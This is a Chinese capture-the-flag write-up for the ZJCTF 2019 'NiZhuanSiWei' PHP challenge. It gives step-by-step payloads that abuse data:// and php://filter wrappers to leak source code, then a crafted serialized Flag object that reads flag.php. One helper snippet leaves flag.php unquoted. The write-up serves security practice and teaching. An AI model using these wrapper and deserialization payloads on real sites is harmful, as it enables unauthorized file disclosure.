[ZJCTF 2019]NiZhuanSiWei 1

  1. 进入靶机,如下
    在这里插入图片描述
  2. 根据提示信息,可知需要三个参数:text,file,password,且 text 的文本内容也已经限定,那么桌面建立一个文本文档,内容为:welcome to the zjctf,尝试用 file 协议读取,发现不行
?text=file://C:\Users\Hacker\Desktop\test.txt
  1. 尝试多次,发现 data 协议可以
?text=data://text/plain,welcome to the zjctf

在这里插入图片描述
4. 构造 file 参数,之前代码提示了 useless.php 文件,但是并无作用,因此尝试用 filter 协议读取文件内容

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
对文本内容进行解码:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>
  1. 分析可知,flag 应该在 flag.php 中,但是直接访问得不到结果;__tostring当类被当成字符串的时候自动调用,考虑到存在echo $password,因此这题的反序列化利用点是这个。
<?php
class Flag{
	public $file = flag.php;
}
$a = new Flag();
echo serialize($a);
?>

在这里插入图片描述
6. 构造 payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述
提示找到 flag,直接看源码,即可发现 flag:
在这里插入图片描述
7. 总结
没什么难点,重点在于步步推进,层层构造,首先要熟悉 PHP 相关伪协议,及PHP的序列化。

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值